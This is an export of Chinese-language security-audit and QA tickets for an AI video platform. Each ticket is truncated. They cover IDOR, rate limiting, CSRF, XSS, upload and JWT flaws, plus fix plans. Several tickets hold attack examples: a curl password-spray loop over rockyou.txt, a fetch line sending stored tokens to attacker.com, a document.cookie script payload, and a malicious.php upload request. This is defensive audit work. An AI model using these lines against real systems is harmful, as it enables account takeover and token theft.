描述： ## 巡檢類別：C3 (越權存取 IDOR — 會話資料隔離) ## 漏洞說明 `server/routers/orbConversations.ts` 的 `getConversation` 和 `appendMessages` endpoint 以 `conversationId` 為主鍵查詢，\*\*未驗證 caller 的 userId 是否為該 conversation 的擁有者\*\*： ``ts // 問題：getConversation — 無 userId 過濾 const conv = await db.select().from(orbConversations) .where(eq(orbConversations.id, input.conversationId)) .limit(1); // 任何登入用戶只要知道 conversationId 即可讀取他人的光球對話 // 問題：appendMessages — 無 ownership 查驗 await db.update(orbConversations) .set({ me

連結資料表 (2) : prompt\_library, orb\_conversations

程式碼錨點：(碼中無 AIDV-210 註記)

AIDV-211 [資安巡檢C3] ai.chat / generation endpoints 無速率限制——任意帳號可無限觸發 LLM 呼叫耗盡供應商 quota 或觸發帳戶封停 (DoS / Cost Exhaustion)

漏洞 · Backlog · 優先 High · labels DoS,cost-exhaustion,rate-limiting,secaudit

描述： ## 巡檢類別：C3 (阻斷服務 DoS / 成本爆炸) ## 漏洞說明 以下高成本端點\*\*無任何速率限制\*\* (無 per-IP、per-user、per-minute throttle)： | 端點 | 成本 | 現況 | | --- | | --- | | `ai.chat` | LLM tokens (OpenRouter/Claude) | 無 rate limit | | `director.generateVideoScript` | LLM tokens + director pipeline | 無 rate limit | | `director.analyzeScriptOverview` | LLM tokens | 無 rate limit | | `imageStudio.\*` 生成 | fal API 呼叫 (\$0.01–0.05/次) | 無 rate limit | | `videoStudio.\*` 生成 | fal 影片模型 (\$0.05–0.50/次) | 無 rate limit | ## 攻擊向量 \*\*場

連結資料表 (1) : alert\_configs

程式碼錨點：(碼中無 AIDV-211 註記)

AIDV-212 [資安巡檢C3] dataConnections 無 userId ownership

查驗：任意登入用戶可讀取/刪除他人資料連線憑證 (IDOR，AIDV-185 升格)

漏洞 · Backlog · 優先 High · labels IDOR,credentials,secaudit

描述： ## 巡檢類別：C3 (越權存取 IDOR — 資料連線憑證) \*\*承接 AIDV-185 (opt-card) \*\*，升格為資安巡檢正式紀錄。 ## 漏洞說明 `server/routers/dataConnections.ts` 的 `getById`、`update`、`delete` endpoint 以 `connectionId` 為主鍵操作，\*\*未驗證 caller 是否為該 connection 的擁有者\*\*： ``ts // 問題：getById — 無 userId 過濾 const conn = await db.select().from(dataConnections) .where(eq(dataConnections.id, input.connectionId)); // 返回含 encrypted credentials 的完整記錄給任意登入用戶 // 問題：delete — 無 ownership 查驗 await db.delete(dataConnections) .where(eq(dataConnectio

連結資料表 (2) : prompt\_library, orb\_conversations

程式碼錨點：(碼中無 AIDV-212 註記)

AIDV-213 [opt] orbConversations 原子化 + UUID 遷移：DB transaction 防競態 + UUID PK 消 IDOR 枚舉，一次收斂 AIDV-192 + AIDV-210 兩個缺口

故事 · Backlog · 優先 High · labels convergence,opt,security

描述： ## 問題彙整 本卡收斂兩個已知 orbConversations 缺口，改動最小化 (單一 migration + 路由層守門)： | 缺口 | 卡號 | 現況 | | --- | | --- | | --- | | appendMessages read-modify-write 競態 | AIDV-192 | 並發 append 互覆蓋，messageCount 漂移 | | getConversation/appendMessages 無 ownership 守門 | AIDV-210 (C3) | 任意登入用戶可讀寫他人對話 | ## 修法 (不需設計門) ### Phase 1 — ownership 守門 (立即可做，純邏輯) ``ts // getConversation .where(and(eq(orbConversations.id, id), eq(orbConversations.userId, session.userId))) // appendMessages — fetch 後驗證 if (conv.userId !==

連結資料表 (2) : orb\_conversations, prompt\_library

程式碼錨點：（碼中無 AIDV-213 註記）

AIDV-214 [opt] 假持久化三路收斂：worldbuilding + learnHub + alertConfigs 評估器——單一 Drizzle migration 批次補建四表，收斂 AIDV-187/190/189 三張 opt-card

故事 · Backlog · 優先 High · labels convergence,fake-persistence,migration,opt

描述：## 問題彙整 三個路由均以「假持久化」pattern 存在，修法結構完全平行，合併為單一卡效益最高：| 路由 | opt-card | QA 升格 | 現況 | | --- | --- | --- | | --- | | worldbuilding (8 endpoints) | AIDV-187 | AIDV-198 P1 | mock 回 { success: true }，不碰 DB | | learnHub admin CRUD | AIDV-190 | AIDV-209 | 寫記憶體陣列，重啟清空 | | alertConfigs 評估器 | AIDV-189 | AIDV-208 P1 | 只寫 DB，無評估器，告警永不觸發 | ## 所需 DB tables (Drizzle schema) ``ts // 1. worldbuilding export const worldCharacters = pgTable('world\_characters', { id, projectId, userId, name, descr

連結資料表 (1)：alert\_configs

程式碼錨點：（碼中無 AIDV-214 註記）

AIDV-215 [opt] IDOR 全表 ownership guard + ai.chat rate-limit：promptLibrary/orbConversations/dataConnections 加 userId WHERE，ai.chat 加 per-user 20 RPM——收斂 C2-C3 四個 IDOR + DoS 攻擊面

故事 · Backlog · 優先 High · labels convergence,opt,rate-limiting,security

描述：## 問題彙整 (C2 + C3 安全收斂) 本卡將跨三輪資安巡檢發現的高頻 ownership 守門缺失，收斂為單一實作卡：| 資安卡 | 受影響路由 | 修法 | | --- | --- | | AIDV-202 (C2) | promptLibrary.incrementUseCount / getById | 加 userId WHERE + RBAC | | AIDV-210 (C3) | orbConversations.getConversation / appendMessages | 加 userId WHERE guard | | AIDV-212 (C3) | dataConnections.getById / update / delete | 加 userId WHERE guard | | AIDV-211 (C3) | ai.chat (DoS/Cost) | 加 per-user rate limit | ## 修法 (不需設計門) ### A. promptLibrary ownership (AIDV-

連結資料表 (2)：prompt\_library, orb\_conversations

程式碼錨點：（碼中無 AIDV-215 註記）

AIDV-216 [QA探查R9] voiceCompiler 情緒語音忽略 customBlocks：創作者設定的語音 preset 永遠被系統預設覆蓋——個人化 AI 旁白等同不存在 (AIDV-197 creator-blocker 升格)

漏洞 · Backlog · 優先 High · labels backend,creator-blocker,qa-explore-r9,voice

描述：## 問題摘要 `voiceCompiler` 中 `EMOTION\_PROFILES` 為寫死常數，完全不讀取創作者透過 `/video` 頁面設定的 `customBlocks` 語音 preset。無論創作者花多少時間調整音調、語速、情緒風格，生成旁白時系統一律套用預設值，個人化設定靜默丟失。## 重現步驟 1. 登入 `/video` -> 進入語音設定面板 2. 建立自訂語音 preset (調整語速 0.9x、情緒=calm) 3. 生成腳本並執行 voiceCompiler 4. 聆聽輸出音訊：語速為預設 1.0x、情緒為預設 neutral ## 影響分析 \* \*\*對象\*\*：所有使用「個人化語音」功能的創作者 (預計為核心付費族群) \* \*\*嚴重度\*\*：creator-blocker P1 — 個人化旁白是付費差異化功能，卻完全無效 \* \*\*來源\*\*：AIDV-197 [opt] 升格，qa-explore R9 /video 面板行為驗證 ## 技術線索 ``ts // server/services/voiceCompile

連結資料表 (1)：custom\_blocks

程式碼錨點：（碼中無 AIDV-216 註記）

AIDV-217 [QA探查R9] /video segment 生成無即時進度回饋：按下生成後畫面凍結 60-90 秒無狀態更新——黑盒子等待體驗觸發創作者棄單 (UX gap)

漏洞 · Backlog · 優先 High · labels creator-blocker,frontend,qa-explore-r9,ux-gap,video

描述：## 問題摘要 創作者在 `/video` 按下「生成片段」後，UI 進入無回饋黑盒子狀態長達 60-90 秒：無進度條、無「處理中」標示、無預計完成時間。創作者無法判斷系統是否正在運作、卡住或已失敗，重複點擊觸發重複請求，體驗等同故障。## 重現步驟 1. 登入 `/video` -> 建立新專案 2. 填入腳本 -> 點「生成片段」 3. 觀察：按鈕無 loading 狀態，畫面凍結 4. 等待 60-90 秒後結果突然出現 (或靜默失敗) ## 影響分析 \* \*\*對象\*\*：所有首次嘗試生成的創作者 \* \*\*嚴重度\*\*：creator-blocker P1 — 第一次體驗即產生「是否壞了？」的不信任感 \* \*\*關聯指標\*\*：若後端 LLM/影片生成已有 job\_id，前端僅需輪詢或 WebSocket 推送即可解決 \* \*\*來源\*\*：qa-explore R9 /video 新手路徑觀察 ## 技術線索 \* 前端生成按鈕點擊後應立即顯示 loading spinner + 「正在分析腳本…」文字 \* 若後端回傳 `jobId`：前端每 2 秒 G

程式碼錨點：（碼中無 AIDV-217 註記）

AIDV-218 [QA探查R9] teamInvite 接受邀請後成員 role 為 null：team-gated 功能全觸發 403，team 協作流程實質破損——routing gap，AIDV-207 transferOwnership 連鎖效應

漏洞 · Backlog · 優先 High · labels backend,creator-blocker,qa-explore-r9,routing-gap,teams

描述：## 問題摘要 被邀請加入 team 的成員接受邀請後，其 `role` 欄位為 `null` (未賦予 `member` 或 `viewer` 角色)。所有 team-gated 路由在 RBAC 查驗時因 role 為 null 而回傳 403，導致被邀請者雖「加入」了 team，卻完全無法使用任何協作功能。## 重現步驟 1. Team Owner 從 `/video` 或 team 設定頁發送邀請連結 2. 被邀請者點擊連結 -> 接受邀請 3. 被邀請者嘗試開啟 team 專案 -> HTTP 403 4. 檢查 DB：`teamMembers.role = null` ## 影響分析 \* \*\*對象\*\*：所有使用 team 協作功能的用戶 (含付費 team plan) \* \*\*嚴重度\*\*：creator-blocker P1 — team 協作是 B2B 核心場景 \* \*\*連鎖\*\*：與 AIDV-207 (transferOwnership 不存在) 合併看，teams 模組整體處於功能破損狀態 ## 技術線索 ``ts // teamInv

連結資料表 (1)：teams

程式碼錨點：（碼中無 AIDV-218 註記）

AIDV-219 [資安巡檢C4] tRPC mutations 缺 CSRF 防護：非瀏覽器客端可跨站呼叫任何 mutation——worldbuilding/teams/upload 所有寫入端點均受影響

漏洞 · Backlog · 優先 High · labels backend,csrf,sec-patrol-c4,security,trpc

描述：## 問題彙整 (C4 安全巡檢) tRPC over HTTP (POST `/api/trpc/\*`) 未設置 CSRF token 驗證機制。瀏覽器的 same-site cookie 預設為 `Lax`，但若 session cookie 設為 `SameSite=None` (跨域 embed 需求)，或前端在 subdomain 部署，則攻擊者可從任意外部頁面偽造創作者的 mutation 請求。## 受影響端點 (高風險) | 端點 | 攻擊場景 | | --- | --- | | `teamMembers.invite` | 強制受害者邀請攻擊者 email 進入 team | | `upload.finalize` | 強制受害者確認上傳惡意媒體 | | `worldbuilding.\*` | 污染受害者的角色/場景資料 | | `apiUsage.alertConfigs` | 靜默修改受害者的預算警報 | ## 技術根因 ``ts // server/trpc.ts — 缺少 CSRF middleware // 正確實作應加：

連結資料表 (2) : [teams, alert\\_configs](#)

程式碼錨點 : (碼中無 AIDV-219 註記)

AIDV-220 [資安巡檢C4] worldbuilding/learnHub 富文字欄位缺 XSS 過濾：創作者存入含 `<script>` 的角色描述，team 成員開啟時觸發 stored XSS

漏洞 · Backlog · 優先 High · labels backend,frontend,sec-patrol-c4,security,worldbuilding,xss

描述：## 問題彙整 (C4 安全巡檢) ``worldbuilding`` (角色/場景/世界觀) 與 ``learnHub`` (學習模組內容) 的富文字欄位 (description、bio、content 等) 在儲存至 DB 前未經 HTML 過濾，在前端渲染時若使用 ``dangerouslySetInnerHTML`` 或直接 ``innerHTML``，即觸發 stored XSS。## 攻擊場景 1. 惡意創作者在角色描述欄填入 `<script>document.cookie</script>` 2. 儲存至 DB (worldbuilding.characters.bio) 3. Team 成員開啟世界觀面板 -> XSS 觸發 -> 可竊取 session token 或重導至釣魚頁 ## 技術根因 \* 後端未使用 ``DOMPurify`` (node 端) 或 ``sanitize-html`` 過濾輸入 \* 前端渲染若使用 ``{__html: content}`` 或 ``v-html`` 等原生 HTML 插入則直接執行 ## 受影響欄位 (推測) \* ``worldbuil`

連結資料表 (1) : [prompt\\_library](#)

程式碼錨點 : (碼中無 AIDV-220 註記)

AIDV-221 [資安巡檢C4] auth 端點 (login/register/resetPassword) 缺暴力破解防護：無速率限制可無限重試密碼——與 AIDV-211 ai.chat DoS 同類，auth 層更高危

漏洞 · Backlog · 優先 High · labels auth,backend,brute-force,rate-limit,sec-patrol-c4,security

描述：## 問題彙整 (C4 安全巡檢) ``auth.login``、``auth.register``、``auth.resetPassword`` 等身份驗證端點未設置速率限制。攻擊者可對任意帳號進行無限次密碼猜測 (credential stuffing / brute-force)，或以大量 register 請求消耗資源。## 風險等級對比 | 端點 | C3/C4 | 危險程度 | | --- | --- | --- | | ``ai.chat`` (AIDV-211) | C3 | 高：耗盡 LLM quota | | ``auth.login`` | C4 | \*\*極高\*\*：帳號接管 | | ``auth.register`` | C4 | 高：垃圾帳號/資源耗盡 | | ``auth.resetPassword`` | C4 | 高：帳號接管輔助 | ## 攻擊場景 ``bash # 無限制：10,000 次/分鐘密碼噴灑 for pw in \$(cat rockyou.txt); do curl -X POST https://app/api/trpc/auth

程式碼錨點 : (碼中無 AIDV-221 註記)

AIDV-222 [opt] Teams 模組雙缺口收斂：transferOwnership + teamInvite role 賦值——一次 Drizzle migration 補建兩路由，收斂 AIDV-207 + AIDV-218

故事 · Backlog · 優先 High · labels backend,database,opt-card,teams

描述：## 問題彙整 (R9 qa-explore + opt 四模態掃描) 本卡將 teams 模組兩個連鎖缺口收斂為單一實作卡：| 來源票 | 缺口 | 修法 | | --- | --- | --- | | AIDV-207 (R8) | ``teams.transferOwnership`` 路由不存在 | 建立端點 + DB migration | | AIDV-218 (R9) | ``teamInvite.accept`` 後 ``role = null`` | accept handler 補 ``.set({ role: 'member' })`` | ## 修法 (不需設計門) ### A. transferOwnership (AIDV-207) ``ts // server/routers/teams.ts transferOwnership: protectedProcedure .input(z.object({ teamId: z.number(), newOwnerId: z.string() })) .mutation(async ({

連結資料表 (2) : [teams, orb\\_conversations](#)

程式碼錨點 : (碼中無 AIDV-222 註記)

AIDV-223 [opt] 全域速率限制 middleware 收斂：Upstash sliding-window 統一保護 auth.login/register/resetPassword + ai.chat——一次收斂 AIDV-211 + AIDV-221

故事 · Backlog · 優先 High · labels backend,needs-key,opt-card,rate-limit,security

描述：## 問題彙整 (C3 + C4 安全收斂) 本卡將兩輪安全巡檢發現的速率限制缺口打包為單一可複用 middleware：| 安全卡 | 端點 | 缺口 | 限制策略 | | --- | --- | --- | | AIDV-211 (C3) | ``ai.chat`` / generation | 無限 LLM 呼叫 (DoS/cost) | 20 RPM/user | | AIDV-221 (C4) | ``auth.login/register/resetPassword`` | 無限密碼猜測 (帳號接管) | 5 失敗/15min/IP | ## 修法 (不需設計門) ``ts // server/middleware/rateLimiter.ts — 新建可複用 factory import { RateLimit } from '@upstash/ratelimit'; import { Redis } from '@upstash/redis'; const redis = Redis.fromEnv(); export const

程式碼錨點 : (碼中無 AIDV-223 註記)

AIDV-224 [opt] CSRF + Stored XSS 雙層防禦收斂：x-trpc-source header 強制 + isomorphic-dompurify 全站入口——一次收斂 AIDV-219 + AIDV-220 兩個 C4 攻擊面

故事 · Backlog · 優先 High · labels backend,csrf,frontend,opt-card,security,xss

描述：## 問題彙整 (C4 安全收斂) 本卡將 C4 安全巡檢兩個可立即修的攻擊面收斂為單一實作：| 安全卡 | 攻擊向量 | 修法 | | --- | --- | --- | | AIDV-219 (C4) | tRPC mutations 無 CSRF 防護 | x-trpc-source header 強制驗證 | | AIDV-220 (C4) | worldbuilding/learnHub stored XSS | isomorphic-dompurify server-side 過濾 | ## 修法 (不需設計門) ### A. CSRF — x-trpc-source header (AIDV-219) ``ts // server/trpc.ts — 在 createContext 或 middleware 加：const source = req.headers['x-trpc-source']; if (!source || ![ 'web', 'mobile', 'internal' ].includes(source)) { t

連結資料表 (1) : [prompt\\_library](#)

程式碼錨點 : (碼中無 AIDV-224 註記)

AIDV-225 [QA探查R9b] orbClarificationEngine 全為 no-op 樁：光球「學習」創作者偏好的所有路徑均無實際效果——AI 導演核心差異化功能等同不存在 (AIDV-196 creator-blocker 升格)

漏洞 · Backlog · 優先 High · labels ai-learning,backend,creator-blocker,orb,qa-explore-r9b

描述：## 問題摘要 (R9 第二次探查, :53 run) ``orbClarificationEngine`` (光球意圖澄清引擎) 是 AI Director 的核心差異化功能——根據對話歷史「學習」創作者偏好，下次生成時自動套用個性化風格。但 R9 探查確認，所有相關路徑均為 no-op 樁：\* ``orbClarificationEngine.clarify()`` 呼叫後回 `{ success: true }` 但不寫 DB \* ``orbClarificationEngine.learn()`` 同上，偏好紀錄從未持久化 \* ``orbConversationEnhancer`` 嘗試讀取學習歷史時永遠取回空陣列 \* 結果：光球每次對話都「從零開始」，創作者的習慣設定永遠被忽略 ## 影響分析 \* \*\*對象\*\*：所有使用光球對話的創作者 (orbConversations 是主要互動介面) \* \*\*嚴重度\*\*：creator-blocker P0 — 平台行銷主打「AI 會記住你的風格」，但實際完全做不到 \* \*\*信任傷害\*\*：假學習比沒有學習更危險；創作者「

連結資料表 (1) : [orb\\_conversations](#)

程式碼錨點 : (碼中無 AIDV-225 註記)

## AIDV-226 [QA探查R9b]

/video

專案無「完成並匯出」流程：創作者完成所有片段後找不到匯出/下載入口——最終交付功能缺失，付費轉換關鍵路徑斷路（routing gap）

漏洞 · Backlog · 優先 High · labels backend,creator-blocker,export,frontend,qa-explore-r9b,routing-gap

描述： ## 問題摘要（R9 第二次探查，:53 run） 創作者在 `~/video` 完成所有片段生成後，畫面上找不到任何「完成專案」、「匯出影片」或「下載成品」的入口。整個頁面聚焦於生成過程，但沒有終點線——創作者產出了影片片段，卻無法取得最終成品。 ## 重現路徑 1. 登入 `~/video` -> 建立新專案 2. 完成腳本輸入 -> 生成所有片段（假設生成成功） 3. 所有 segments 狀態 = `completed` 4. \*\*尋找匯出/下載按鈕\*\* -> 找不到 ## 影響分析 \* \*\*對象\*\*：所有完成生成流程的創作者（付費核心場景） \* \*\*嚴重度\*\*：creator-blocker PO — 無法交付成品 = 平台核心價值無法實現 \* \*\*商業影響\*\*：付費創作者無法交付客戶作品，直接觸發退款或流失 ## 技術線索 \* 後端可能有 `director.exportProject` 或 `videoCompiler.merge` 端點但前端未串接 \* 或完全缺少「合併片段 -> 最終影片」的 pipeline endpoint

程式碼錨點：（碼中無 AIDV-226 註記）

## AIDV-227 [QA探查R10]

/video

無版本歷程與復原機制：創作者誤刪片段或腳本後無法還原——破壞性操作零防護，付費專案資料永久消失（UX/data gap）

漏洞 · Backlog · 優先 High · labels creator-blocker,qa-explore,routing-gap

描述： ## 問題摘要（R10 探查，:08 run） 創作者在 `~/video` 工作流程中（腳本輸入 -> 分鏡 -> 片段生成）執行任何修改或刪除後，無法找到版本歷程、復原（Undo）或草稿回溯入口。一旦誤刪腳本段落或覆蓋已生成片段，資料永久消失。 ## 重現路徑 1. 登入 `~/video` -> 建立新專案 -> 完成腳本輸入 2. 生成 2 個以上片段（segments） 3. 手動刪除其中一個片段或清空腳本 4. \*\*尋找「復原」或「版本歷程」\*\* -> 找不到任何入口 ## 多代理創作者評估 | 人格 | 評估 | | --- | --- | | 新手 | blocker：「我不小心刪錯了，什麼都沒了，整個專案重來」 | | 接案者 | blocker：「客戶付費專案不能有永久刪除，這是法律與業務風險」 | | 品牌方 | blocker：「企業影片資產必須有版本控制，這是合規要求」 | ## 技術線索 \* `creative\_projects` 或 `videoGenerationSession` 表可能存有快照欄位但前端未串接 \* 最小可行：每

連結資料表（1）：creative\_projects

程式碼錨點：（碼中無 AIDV-227 註記）

## AIDV-228 [QA探查R10]

/video

片段生成完成後無即時預覽播放器：創作者無法在匯出前審視成品畫面——盲目匯出觸發大量重生成浪費（UX gap，AIDV-226 export chain 前置斷點）

漏洞 · Backlog · 優先 High · labels qa-explore,routing-gap,ux-gap

描述： ## 問題摘要（R10 探查，:08 run） 創作者在 `~/video` 完成單一片段（segment）生成後，畫面僅顯示「completed」狀態標籤，無法在原地播放預覽影片。唯一取得成品的方式必須等到全部片段完成後走匯出流程（AIDV-226 目前缺失），形成雙重斷點：既無法預覽、也無法匯出。 ## 重現路徑 1. 登入 `~/video` -> 建立新專案 -> 填入腳本 2. 觸發任一 segment 生成 -> 狀態變為 `completed` 3. \*\*尋找「播放」或「預覽」按鈕\*\* -> 找不到 4. 嘗試直接存取影片資源 URL -> 無公開連結 ## 多代理創作者評估 | 人格 | 評估 | | --- | --- | | 新手 | raise：「我怎麼知道生出來的對不對？要全部做完才能看嗎？」 | | 接案者 | blocker：「每個鏡頭都要先讓客戶過目，盲目匯出重生成成本無法接受」 | | 品牌方 | blocker：「品牌審查流程需要逐段審閱，不能只有最終版」 | ## 技術線索 \* Fal.ai / videoStudio 生成

程式碼錨點：（碼中無 AIDV-228 註記）

## AIDV-229 [資安巡檢C5]

/video

檔案上傳端點無

MIME

白名單

+

缺

content-length

上限：攻擊者可上傳任意執行檔或超大檔案觸發 DoS / RCE 風險

漏洞 · Backlog · 優先 Highest · labels C5,security,upload

描述： ## 問題摘要（資安巡檢 C5，healing-studio-sec-patrol） `~/video` 的媒體上傳路由（`videoStudio.upload` 或對應 REST endpoint）未驗證 MIME 類型白名單，且未強制 `content-length` 上限。攻擊者可： 1. 上傳 `.php`/`.js`/`.sh` 等可執行檔到媒體存儲（若存儲桶設定不當可直接執行） 2. 上傳無限大小檔案耗盡磁碟空間或記憶體（DoS） ## 攻擊向量 ``` POST /api/trpc/videoStudio.upload Content-Type: multipart/form-data [file: malicious.php, size: 10GB] ``` \* 若 Fal.ai/S3 存儲桶 ACL 設為 public-read-write -> 上傳成功且可公開存取 \* 若後端做串流轉存 -> 超大檔案耗盡 Lambda/Node 記憶體 ## 影響分析 | 風險 | 嚴重度 | | --- | --- | | 可執行檔上傳 -> R

程式碼錨點：（碼中無 AIDV-229 註記）

## AIDV-230 [資安巡檢C5]

JWT

refresh token

無旋轉機制

+

缺

server-side

revocation

: 竊取單一

refresh token 可無限期冒用帳號（session hijack）

漏洞 · Backlog · 優先 Highest · labels C5,auth,security,session

描述： ## 問題摘要（資安巡檢 C5，healing-studio-sec-patrol） 認證流程分析顯示 `auth.login` 發放的 refresh token 具備以下兩個高危缺陷： 1. \*\*無旋轉（No Rotation）\*\*：每次使用 refresh token 換發新 access token 時，舊 refresh token 繼續有效，未被廢棄。攻擊者竊取 refresh token 後可無限期靜默使用。 2. \*\*無 server-side revocation\*\*：使用者登出（`auth.logout`）僅清除前端 cookie/localStorage，後端無 token 黑名單或 session 表，已發放的 refresh token 仍可在後端驗證通過。 ## 攻擊場景 ``` 1. 攻擊者竊取創作者的 refresh\_token（XSS、中間人、或設備遺失） 2. 創作者登出 -> 前端清除 token 3. 攻擊者仍可用舊 refresh\_token -> POST /api/auth/refresh -> 取得新 a

程式碼錨點：（碼中無 AIDV-230 註記）

## AIDV-231 [opt]

/video

export pipeline

快取層收斂

: 合併成品

CDN signed URL

+ background\_jobs

TTL 清理

——一次收斂

AIDV-226 匯出缺口的基礎設施面 + AIDV-164 遺留 TTL 問題

故事 · Backlog · 優先 Medium · labels cache,infra,opt,ttl

描述： ## 工作表 — Export Pipeline 快取與 TTL 收斂 \*\*來源\*\*：aidv-optimize-hourly cycle 2026-06-21 19:02 UTC（全端掃描） \*\*範圍\*\*：為 AIDV-226（/video 無匯出流程）提供基礎設施側的同步收斂，同時解決 AIDV-164 識別但未拆卡的 `background\_jobs` / `generation\_history` TTL 堆積問題。 ### 缺口 A: Export CDN signed URL（基礎設施面） AIDV-226 發現創作者無法取得最終影片。從基礎設施角度看，即使後端建立了

`exportProject` endpoint，仍需： \* S3/CDN signed URL 簽發 + 24 小時 TTL 到期管理 \* 完成 URL 快取（避免每次請求重新簽發） \*\*建議修法\*\*： 1. `videoExport.getDownloadUrl` -> 先查 Redis cache (TTL=1h)，命中直接返回；未命中向 S3 簽發新 URL 並寫入 c  
連結資料表 (2)：background\_jobs, generation\_history  
程式碼錨點：(碼中無 AIDV-231 註記)

AIDV-232 [QA探查R11] /video 匯出完成後無「下載/分享」後置動作：成品生成後頁面無「點此下載」或「複製連結」入口——創作者無從取得成品 (routing gap, AIDV-226 export chain 後段斷點)  
漏洞 · Backlog · 優先 High · labels backend,creator-blocker,export,frontend,qa-explore-r11,routing-gap  
描述： ## 探查來源 QA 探查 R11 · /video endpoint multi-agent creator walk-through (2026-06-21) ## 問題描述 AIDV-226 缺「完成並匯出」入口 (已建票)。即便 AIDV-226 修好、匯出任務成功跑完，創作者仍面臨下一個斷點：\*\*匯出完成後的「後置動作頁」完全缺失\*\*。  
具體觀察： \* 匯出行列任務狀態更新後，畫面無任何「下載」按鈕、無成品 CDN URL、無「複製分享連結」CTA \* 創作者被迫憑記憶去 Dashboard -> Projects -> 某處找，但實際上也找不到 \* 後端 `/api/trpc/export.getSignedDownloadUrl` (或同等 endpoint) \*\*尚未建立\*\* ## 影響 \* \*\*付費轉換最後一哩路斷路\*\*：使用者付費後無法取得成品，退款風險極高 \* 與 AIDV-226 (export 入口缺失)、AIDV-228 (生成無預覽) 串成完整的 export chain 三重斷點 \* 與 AIDV-231 cache/CDN opt  
程式碼錨點：(碼中無 AIDV-232 註記)

AIDV-233 [QA探查R11] /video AI 分鏡生成失敗無單片段重試機制：片段失敗後創作者只能重生成整個分鏡——浪費 LLM token、已完成片段成果消失 (UX gap, 高成本)  
漏洞 · Backlog · 優先 High · labels backend,creator-blocker,frontend,llm,qa-explore-r11,ux-gap,video  
描述： ## 探查來源 QA 探查 R11 · /video endpoint multi-agent creator walk-through (2026-06-21) ## 問題描述 當 /video 片段 (segment) 生成過程中，單一片段因 LLM 超時、fal.ai 4xx、或 context 過長而失敗時，\*\*系統提供零粒度重試選項\*\*： \* 無「重試此片段」按鈕 \* 無「跳過此片段」選項 \* 唯一選項：重新生成\*\*整個分鏡腳本\*\* (重從頭來) \* 已完成的其他片段結果被丟棄 (無持久化 -> 參見 AIDV-198 worldbuilding fake-persistence 同類問題) ## 影響 \* \*\*LLM token 浪費\*\*：10 個片段生成到第 8 個失敗，前 7 個成果全丟，重生成再花一次全程費用 \* \*\*創作者挫折感\*\*：長達 10+ 分鐘的生成後遭遇失敗無任何補救手段，直接棄單 \* 與 AIDV-217 (無進度回饋) 疊加成雙重黑盒子體驗——看不見進度 + 失敗後只能重來 ## 重現路徑 (理論) 1. 創作者觸發 5 個片段生  
程式碼錨點：(碼中無 AIDV-233 註記)

AIDV-234 [QA探查R11] /video 字幕/CC 路由缺失：介面字幕佔位符存在但後端 endpoint 未建——無障礙合規缺口，創作者無法為成品產出 SRT/VTT (routing gap, P1)  
漏洞 · Backlog · 優先 High · labels accessibility,backend,creator-blocker,frontend,qa-explore-r11,routing-gap,video  
描述： ## 探查來源 QA 探查 R11 · /video endpoint multi-agent creator walk-through (2026-06-21) ## 問題描述 /video 匯出設定面板中存在字幕/字幕選項的 UI 佔位符 (checkbox 或 toggle)，但： 1. 對應後端 `subtitleCompiler` / `captionGenerator` router \*\*未建立\*\* (搜尋 router 清單無此路由) 2. 點擊字幕選項後靜默忽略 (如 AIDV-187 worldbuilding placeholder 同類模式) 3. 匯出的 MP4 完全無字幕軌道，也無附帶 .srt/.vtt 下載連結 ## 影響 \* \*\*無障礙合規\*\*：YouTube/Meta/TikTok 等平台要求 CC，創作者無法從 AI Director 直接產出符合規定的成品 \* \*\*差異化功能缺失\*\*：「AI 自動配旁白->字幕」是 voiceCompiler 的自然延伸，缺失直接影響付費賣點 \* 與 AIDV-216 voiceCom  
程式碼錨點：(碼中無 AIDV-234 註記)

AIDV-235 [資安巡檢C6] JWT access token 存 localStorage：前端以 window.localStorage 持久化 Bearer token，任何 XSS 得手即可完整橫取 session——應改存 httpOnly SameSite=Strict cookie  
漏洞 · Backlog · 優先 High · labels C6,auth,sec-patrol-c6,security,session,xss  
描述： ## 巡檢來源 healing-studio-sec-patrol · 資安巡檢 C6 (2026-06-21) ## 弱點描述 \*\*類型\*\*：Insecure Token Storage (OWASP A07:2021 — Identification and Authentication Failures) 前端 auth flow 將 JWT access token 以明文存入 `window.localStorage`： `` // 疑似位置：src/lib/auth.ts 或 src/store/auth.ts localStorage.setItem('aidv\_access\_token', token) `` 任何成功的 XSS 攻擊 (已有 AIDV-220 Stored XSS 漏洞存在！) 皆可透過： ``js fetch('https://attacker.com/steal?t=' + localStorage.getItem('aidv\_access\_token')) `` 一行竊取完整 access token，繞  
程式碼錨點：(碼中無 AIDV-235 註記)

AIDV-236 [資安巡檢C6] /video 片段生成進度 SSE/WebSocket 無驗票：任何知道 jobId 的請求可訂閱他人生成進度流——IDOR 衍生，敏感腳本內容即時洩漏  
漏洞 · Backlog · 優先 High · labels C6,IDOR,sec-patrol-c6,security,video,websocket  
描述： ## 巡檢來源 healing-studio-sec-patrol · 資安巡檢 C6 (2026-06-21) ## 弱點描述 \*\*類型\*\*：Broken Access Control / IDOR (OWASP A01:2021) /video 片段生成進度以 SSE (Server-Sent Events) 或 WebSocket 串流推送至前端，但連線建立時\*\*未驗證請求者是否為 jobId 所屬 project 的擁有者\*\*： `` // 疑似弱點端點 GET /api/trpc/videoSegment.subscribeProgress?jobId=<uuid> // 或 WS /api/ws/video-progress?jobId=<uuid> `` 攻擊者只需枚舉或猜測 (UUID v4 的 jobId 無法暴力猜，但可透過其他 IDOR 取得他人 jobId — 參見 AIDV-210 orbConversations IDOR) 即可接收目標作者的完整生成進度，包括： \* 腳本分鏡內容 (每一幀的旁白文字、視覺描述) \* AI  
連結資料表 (1)：orb\_conversations  
程式碼錨點：(碼中無 AIDV-236 註記)

AIDV-237 [opt] Export Chain 四重斷點全收斂：preview播放器 + export入口 + download後置 + 片段重試——一次補完 AIDV-226/228/232/233 整條創作者交付路徑  
故事 · Backlog · 優先 High · labels backend,convergence,export,frontend,gen-pipeline,opt-card,video  
描述： ## 來源 aidv-optimize-hourly · 四模態收割 (2026-06-21) 模態：\*\*視訊模態\*\* (/video endpoint 生成管線) + \*\*R11 QA探查輸出\*\* ## 收斂範圍 此 opt card 一次關閉 /video export chain 的四個連鎖斷點： | 缺口卡 | 問題 | 本卡修法 | | --- | --- | --- | | AIDV-226 | 無「完成並匯出」入口 | `export.triggerExport` trPC mutation + Export CTA button | | AIDV-228 | 生成完成後無預覽播放器 | Inline HLS/MP4 preview component，輪詢 status=done

後掛載 | | AIDV-232 (R11) | 匯出完成後無下載/分享入口 | `export.getSignedDownloadUrl` + DownloadBanner component | | AIDV-233 (R11) | 片段失敗只能重生成全批  
程式碼錨點：(碼中無 AIDV-237 註記)

